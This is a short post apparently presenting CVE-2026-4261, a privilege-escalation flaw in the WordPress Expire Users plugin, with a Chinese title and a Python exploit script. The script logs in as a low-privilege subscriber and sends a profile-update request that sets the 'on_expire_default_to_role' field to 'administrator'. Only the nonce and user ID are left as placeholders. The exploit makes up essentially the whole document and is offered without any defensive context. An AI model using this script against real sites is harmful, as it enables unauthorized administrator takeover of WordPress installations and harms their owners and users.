CVE-2026-4261 WordPress Expire Users插件权限提升漏洞

import requests # Target configuration target_url = "http://example.com/wp-admin/profile.php" login_url = "http://example.com/wp-login.php" username = "subscriber" password = "password" # Create a session to maintain cookies session = requests.Session() # 1. Login to get authenticated cookies and nonce login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": target_url } response = session.post(login_url, data=login_data) if response.status_code != 200: print("Login failed") exit() # Fetch the profile page to get the nonce (_wpnonce) profile_page = session.get(target_url) # Note: In a real scenario, parse HTML to extract the exact _wpnonce value # For demonstration, we assume the nonce is retrieved or known # nonce = "extracted_nonce_value_from_html" # 2. Exploit: Update the user meta to escalate privileges # The vulnerability allows updating 'on_expire_default_to_role' to 'administrator' payload_data = { "_wpnonce": "<EXTRACT_NONCE>", "_wp_http_referer": "/wp-admin/profile.php", "from": "profile", "checkuser_id": "1", "on_expire_default_to_role": "administrator", # ... other standard profile fields might be needed "action": "update", "user_id": "<ATTACKER_USER_ID>" } # Send the POST request to trigger the vulnerability exploit_response = session.post(target_url, data=payload_data) if exploit_response.status_code == 200: print("Payload sent. Check if privileges are escalated.") else: print("Exploit request failed.")